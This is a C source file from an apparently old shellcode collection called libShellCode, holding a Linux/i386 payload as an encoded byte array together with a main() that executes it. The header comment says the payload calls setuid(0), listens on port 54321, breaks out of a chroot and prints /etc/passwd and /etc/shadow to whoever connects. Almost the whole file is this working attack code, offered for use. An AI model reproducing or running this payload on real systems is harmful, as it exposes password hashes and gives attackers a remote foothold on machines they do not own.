/* * __ ___ _ * / \ | \ | | /\-----------------> * / /\ \| |\ \| |/ / * / /__\ \ /| / libShellCode is an ORK's project! * \______/ |\ \| | \ For comments, bug reports, etc ... *<--------|_| \_\_|\_\ contact me at orkmailkatamailcom * * * This is a Linux/i386 ShellCode that exec a setuid(0), then listens to the * port 54321 and when receves a connection first evade from chroot then * executes /bin/cat /etc/passwd /etc/shadow and exit(0). * */ char shellcode[]= "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xf7\xe3\xb0\x66\x53\x43" "\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x31\xc9\x66\xb9\xd4\x31" "\x52\x66\x51\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0" "\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x57\x89\xe1" "\xb3\x05\xb0\x66\xcd\x80\x89\xc3\x89\xd9\xb0\x3f\x49\xcd\x80\x41" "\xe2\xf8\xeb\x69\x5e\x31\xc0\x53\x68\x6a\x61\x69\x6c\x89\xe3\xb0" "\x27\xcd\x80\x31\xc0\xb0\x3d\xcd\x80\x31\xc0\x31\xdb\x31\xc9\xb1" "\x0a\x50\x68\x2e\x2e\x2f\x2f\xe2\xf9\x89\xe3\xb0\x0c\xcd\x80\x31" "\xc0\x31\xdb\x6a\x2e\x89\xe3\xb0\x3d\xcd\x80\x31\xc0\x88\x46\x20" "\x89\x76\x21\x89\xf3\x88\x46\x08\x80\xc3\x09\x89\x5e\x25\x88\x46" "\x14\x80\xc3\x0c\x89\x5e\x29\x89\x46\x2d\xb0\x0b\x89\xf3\x8d\x4e" "\x21\x8d\x56\x2d\xcd\x80\x31\xc0\x31\xdb\x40\xcd\x80\xe8\x92\xff" "\xff\xff\x2f\x62\x69\x6e\x2f\x63\x61\x74\x20\x2f\x65\x74\x63\x2f" "\x70\x61\x73\x73\x77\x64\x20\x2f\x65\x74\x63\x2f\x73\x68\x61\x64" "\x6f\x77"; main() { void (*f)(); (char *)f = shellcode; f(); }